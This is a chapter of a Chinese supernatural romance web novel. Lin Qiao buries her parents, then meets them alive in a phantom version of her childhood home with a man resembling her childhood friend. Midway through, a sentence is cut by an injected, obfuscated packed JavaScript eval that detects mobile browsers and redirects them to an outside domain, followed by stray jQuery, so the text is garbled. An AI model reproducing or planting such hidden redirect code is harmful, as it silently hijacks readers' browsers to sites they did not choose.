县殡仪馆的铁门在身后合拢时，林乔才后知后觉地闻到一股消毒水味。
那味道裹着殡仪馆特有的、混杂着香烛与草木灰的气息，钻进鼻腔时带着点凉意，让她打了个轻颤。
司机师傅把车停在殡仪馆正门口，临走前还特意降下车窗叮嘱：“姑娘，节哀啊。”
林乔点点头，没说话，背包里装着户口本和林父林母的身份证。
踏上殡仪馆的台阶，穿藏青色制服的工作人员就迎了上来，手里拿着一叠表格：“是林建国和赵秀兰的家属吧？拿齐证件了？跟我来办手续吧。”
林乔跟着他往里走，走廊两侧的窗户都开着，风卷着外面的树叶飘进来，落在光洁的地砖上，又被工作人员一脚踢开。她的目光无意识地扫过走廊墙上的标语——“文明治丧，简约缅怀”，白底黑字，显眼得很。
办公室里弥漫着一股陈旧的味道，工作人员把表格推到她面前：“先填家属信息，然后选火化时间和服务项目。最近人不算多，今天下午就能排上，要是选一条龙服务，灵堂现在就能布置，明天一早就能下葬。”
林乔握着笔的手顿了顿，笔尖在“与逝者关系”那栏悬了半天，才写下“女儿”两个字。
她想起先前咨询师的话：“如果暂时分不清情绪，不用强迫自己，先把该做的事做好。”
于是深吸一口气，低头快速填完表格，又在“一条龙服务”那栏打了勾。工作人员接过表格看了一眼，又抬头看她：“就你一个人来办？没其他家属了？”
林乔抿了抿唇：“我联系不上我弟，亲戚……也都忙。”
工作人员“哦”了一声，没再多问，只是把一份合同推过来：“签字吧，签完去等候大厅等着，叫到名字再过去。”
走出办公室，等候大厅里稀稀拉拉坐着几个人。
有人靠在椅背上闭目养神，有人低头刷着手机，还有个老太太坐在角落，手里攥着一方手帕，时不时抹一下眼睛，却没什么眼泪。
林乔找了个靠窗的位置坐下，掏出手机开始发丧事通知。
先是给几个还算亲近的邻居发，又给林父以前的同事发，最后犹豫了半天，还是给林耀发了一条：“爸和妈走了，今天下午火化，明天下葬，你要是能回来就回。”
消息发出去，石沉大海，没有半点回音。她放下手机，目光落在窗外。
殡仪馆的院子里种着几棵松树，枝叶翠绿，风一吹就沙沙响。
林乔今忽然想起，今天早上为了赶时间，她早餐都没来及吃就跑来办手续，结果没办成，正打算离开，却闻到了粉的香味，辣辣的，带着点肉末的咸香。
只可惜因为还要去拿证件没吃上。
林乔想着，下意识摸了摸肚子，竟真的有点饿了，心里默默想着：明天的早餐就定这个了。
又坐了一会儿，大厅里的广播响了，叫到了林父林母的名字。
林乔站起身，跟着工作人员往里走。走廊尽头的门推开，一股热浪扑面而来，伴随着机器运转的轰鸣声。
她站在门外，看着工作人员把穿着红棕色寿衣的林父林母的遗体推进去。门缓缓关上，挡住了她的视线。
那一刻，心里好像有什么东西轻轻晃了一下，却又很快平静下来，就像投入湖面的石子，只泛起一圈涟漪，便消失不见。
不到半个小时，工作人员就拿着两个白瓷罐走了出来，递给林乔：“节哀，这是两位老人的骨灰。”
林乔双手接过，罐子很沉，带着余温。她低头看着罐子上贴着的照片，神色有些恍惚。
第二天一早，林乔就去了殡仪馆的食堂，点了一碗粉。粉端上来，热气腾腾，辣香扑鼻。她拿起筷子，慢慢吃着，味道和昨天闻到的一样好。
吃完粉，回到灵堂时，已经来了不少人。大家都包着白帕，见到林乔，就说一句“节哀顺变”。
灵堂里请来的先生吹着唢呐，调子悲伤，催人泪下，可林乔看了看周围人的脸，大多没什么难过的表情，只是偶尔交头接耳，说着些无关紧要的话。
吊唁的人不多，林乔倒也清闲。
她坐在灵堂角落的椅子上，看着人们上香、鞠躬，然后转身离开。有人过来和她说话，问她林耀怎么没来，她只是摇摇头，说不知道。直到中午，灵堂里的人才渐渐少了。先生收起唢呐，说可以出发去村子里下葬了。
车队缓缓驶进村子，鞭炮声就响了起来，噼里啪啦，震得人耳朵发疼。
唢呐的声音也再次响起，和鞭炮声混在一起，在村子里回荡。林乔坐在车里，看着窗外熟悉的景象，心里没什么波澜。
车子停在山脚下，大家陆续下车，抬着骨灰罐往小坡上走。坡不陡，路却不好走，全是泥土和石子。走了大概十几分钟，终于到了下葬的地方。先生念了几句咒语，然后示意把骨灰罐放进墓穴里。
填土的时候，有人递了一把铁锹给林乔，她接过，铲了一捧土扔进去，土落在罐上，发出“咚”的一声轻响。
黄土一盖，林乔给先生和帮忙的人结了钱，一个人在村子里漫无目的地逛着。
村子里很安静，只有偶尔传来的狗叫声和鸡叫声。她走了很久，不知不觉就走到了山脚下。看着眼前熟悉的山路，林乔愣了一下。这条山路，她小时候经常走，是为了去见魏启承。
林乔犹豫了一下，还是抬脚走上了上去。
山路弯弯曲曲，两旁长满了杂草和树木，树木高大，把阳光遮得七七八八的，只剩下一点点光斑。
林乔走着走着，发现自己好像迷路了。
以前这里有应该是个岔路口，可现在却不见了，她心里有些焦急，掏出手机想查看地图，却发现手机没有信号。
就在这时，她的余光意外瞟到不远处有一个院子。
那院子藏在树林里，只露出一角屋顶。林乔有些疑惑，这山上什么时候有院子了？不过她这些年都没回来过，有些变化也挺正常。
林乔犹豫了一下，还是朝着院子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407259|184538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的方向走去。越走近，她越觉得熟悉。等到了院子门口，她彻底愣住了。
这院子的外表，竟然和她记忆中的家一模一样！
灰黑色的瓦片，黄白色的土墙，院子里长出半截的老槐树，还有木门上的铜锁……一切都和她小时候住的家没什么两样。
林乔站在门口，心里乱糟糟的，正要抬步离开，耳尖却捕捉到院内隐约传来的动静。
迟疑片刻，她还是鬼使神差地走向那扇熟悉的木门。
大门是锁着的，林乔下意识地摸了摸口袋，摸到了一把黄铜钥匙。
钥匙插进锁孔，轻轻一转，嘎吱一声，老旧的木门应声而开。
院子里的陈设一如往常，东边的墙角种着几棵向日葵，西边的墙角放着一个破旧的竹筐。林乔走进院子，目光扫过四周，心里满是疑惑。
就在这时，她看到院子角落。
林乔的瞳孔却骤然收缩——
院子角落的藤椅上，正坐着一个人，手里还慢悠悠摇着蒲扇。那人缓缓转过身，赫然是早已过世的林父，身上穿的，还是火化时红棕色寿衣。
她站在原地，动也不敢动，喉咙发紧，说不出话来。
过了一会儿，那人仿佛听到了门口的动静，缓缓睁开眼睛，转过身来。
林父见是女儿林乔，朝她笑了笑：“来了？站在那儿干什么？快进来。”
屋内随即传来脚步声，林母快步走了出来，身上同样穿着那套寿衣。
她拍了拍手上的面粉，笑着上前想拉林乔，嘴里念叨着：“总算回来了！”
可手刚伸到半空，目光扫过林乔身后，眉头突然一皱，语气瞬间沉了下来。
“怎么就你一个人？魏启承呢？刚结婚回门，他竟敢不来？”话音里的火气，几乎要溢出来。
林乔僵在原地，大脑一片空白。她想挣脱林母的手，身体却像被钉住一般，半点力气也使不出。正当绝望快要将她一点点吞噬时，院门外忽然传来一道低沉悦耳的男声。
“妈，是我让林乔先过来的，我去拿上门礼了，耽误了会儿。”
男人的声音带着笑意，语气熟稔，脚步轻快地走进来，伸手一把揽住林乔的腰，将她稳稳拉到自己身边。
他低头看向怀中僵直的人，语气亲昵又带着点无奈。只是那双深邃的眼眸里，似乎藏着某种难以言说的深意：“怎么我才走一会儿，你就惹出麻烦了？”
他指尖轻轻捏了捏林乔：“还好我来得及时。”
说完，他抬头朝林父林母扬起笑容，语气恭敬：“不然倒让爸妈误会了。”
被圈在男人怀中的林乔，浑身血液几乎凝固。
这个突然出现的男人，竟和她无数次想象中长大后的魏启承长得分毫不差——一双标志性的凤眼，温润的气质下，又藏着一丝难以掩饰的冷冽。
男人似乎察觉到她的僵硬，低头用只有两人能听见的声音问：“吓到了？没想到你做个梦，还能整出这么多花样来。”